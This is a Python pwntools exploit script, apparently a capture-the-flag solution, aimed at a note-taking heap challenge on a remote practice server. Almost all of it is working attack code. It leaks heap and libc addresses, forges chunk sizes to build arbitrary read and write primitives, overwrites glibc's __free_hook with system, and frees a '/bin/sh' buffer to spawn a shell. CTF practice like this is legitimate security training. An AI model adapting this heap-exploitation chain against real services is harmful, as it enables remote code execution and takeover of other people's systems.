1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
| from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
debug = 0
if debug:
p = process('./pwn')
else:
p = remote('node5.buuoj.cn', 28814)
def padd(idx, size, content):
p.recvuntil(b'>>\n')
p.sendline(b'1')
p.recvuntil(b'idx(0~15): ')
p.sendline(str(idx).encode())
p.recvuntil(b'size: ')
p.sendline(str(size).encode())
p.recvuntil(b'note: ')
p.sendline(content)
def pdelete(idx):
p.recvuntil(b'>>\n')
p.sendline(b'2')
p.recvuntil(b'idx(0~15): ')
p.sendline(str(idx).encode())
def pshow(idx):
p.recvuntil(b'>>\n')
p.sendline(b'3')
p.recvuntil(b'idx(0~15): ')
p.sendline(str(idx).encode())
def pedit(idx, content):
p.recvuntil(b'>>\n')
p.sendline(b'4')
p.recvuntil(b'idx(0~15): ')
p.sendline(str(idx).encode())
p.recvuntil(b'content: ')
p.send(content)
def pwrite(addr, val):
payload = p64(0x20) + b'\x00' * 0x10 + p64(addr)
pedit(2, payload)
pedit(0, val)
def pread(addr):
payload = p64(0x20) + b'\x00' * 0x10 + p64(addr)
pedit(2, payload)
pshow(0)
def attack():
padd(3, 0x20, b'')
padd(0, 0x20, b'')
padd(1, 0x20, b'')
pdelete(3)
pdelete(0)
pdelete(1)
padd(2, 0x20, b'')
pshow(2)
p.recvuntil(b'\n')
heap3_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f'heap3_addr = {hex(heap3_addr)}')
pwrite(heap3_addr // 0x1000 * 0x1000 + 0x10 + 0x2 * 7, p64(7))
padd(4, 0x28, b'A' * 0x20 + p64(0x30))
padd(5, 0x70, b'')
pwrite(heap3_addr + 0x28 + 6 * 0x30, p64(0x91))
pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90, p64(0x21))
pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90 - 8, p64(0x90))
pdelete(5)
pread(heap3_addr + 0x28 + 6 * 0x30 + 0x8)
p.recvuntil(b'\n')
bins0_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f'bins0_addr = {hex(bins0_addr)}')
libc_addr = bins0_addr - 0x1cabe0
log.info(f'libc_addr = {hex(libc_addr)}')
__free_hook_addr = libc_addr + 0x1cce48
log.info(f'__free_hook_addr = {hex(__free_hook_addr)}')
system_addr = libc_addr + 0x30290
log.info(f'system_addr = {hex(system_addr)}')
pwrite(heap3_addr, b'/bin/sh\x00')
pwrite(__free_hook_addr, p64(system_addr))
pdelete(4)
p.interactive()
attack()
|